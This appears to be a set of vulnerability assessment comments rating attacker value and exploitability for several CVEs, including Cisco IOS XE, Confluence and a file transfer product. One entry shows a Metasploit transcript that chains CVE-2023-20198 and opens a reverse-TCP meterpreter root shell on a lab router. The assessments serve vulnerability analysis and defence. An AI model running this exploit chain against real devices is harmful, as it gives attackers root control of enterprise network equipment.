Based on performing an analysis of this vulnerability, I set the attacker value of this to Medium, as while we can leak a NTLM hash, it may not be feasible to either crack the hash if the password is a complex value, and it may not be feasible to pass-the-hash if their is no suitable target service the attacker can leverage for a pass-the-hash attack. The exploitability of this vulnerability is Very High, as it is unauthenticated and trivial to perform.

While this vulnerability requires authentication, it can be chained with CVE-2023-20198 to achieve unauthenticated RCE on the target, as shown via the Metasploit exploit:

msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
[*] Created privilege 15 user 'sqVXixoV' with password 'ZiPbsXBu'
[*] Removing user 'sqVXixoV'
[*] Sending stage (3045380 bytes) to 192.168.86.58
[*] Meterpreter session 6 opened (192.168.86.42:4444 -> 192.168.86.58:64970) at 2023-11-06 17:01:06 +0000

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : router
OS           :  (Linux 4.19.106)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

I have marked the exploitability for this vulnerability as High, as the vulnerable Web UI component may not be enabled by default. The attacker value for this vulnerability is Very High, given the target devices running IOS XE are enterprise routers/switches/access points.

Based upon analyzing the public exploit and the root cause of the vulnerability, I have rated the exploitability as very high as this vuln is unauthenticated and is trivial to exploit with the public exploit. The attacker value is high as this service is used in enterprise environments, Shadowserver reports over 3000 vulnerable instances online as of Oct 30, 2023

Based on our Rapid7 Analysis and having reproduced the vulnerability, the attacker value of this vulnerability is very high, as successful exploitation leads to a total loss of both integrity and confidentiality of all data on the Confluence server. The exploitability rating is also very high as the vulnerability is trivial to exploit, only requiring two simple cURL requests, and it is unauthenticated.

Based on our Rapid7 Analysis, the attacker value for this vulnerability is very high due to the target software being a file transfer solution. The exploitability rating for this vulnerability is also very high as it is trivially exploitable with a single HTTP(S) POST request by an unauthenticated attacker.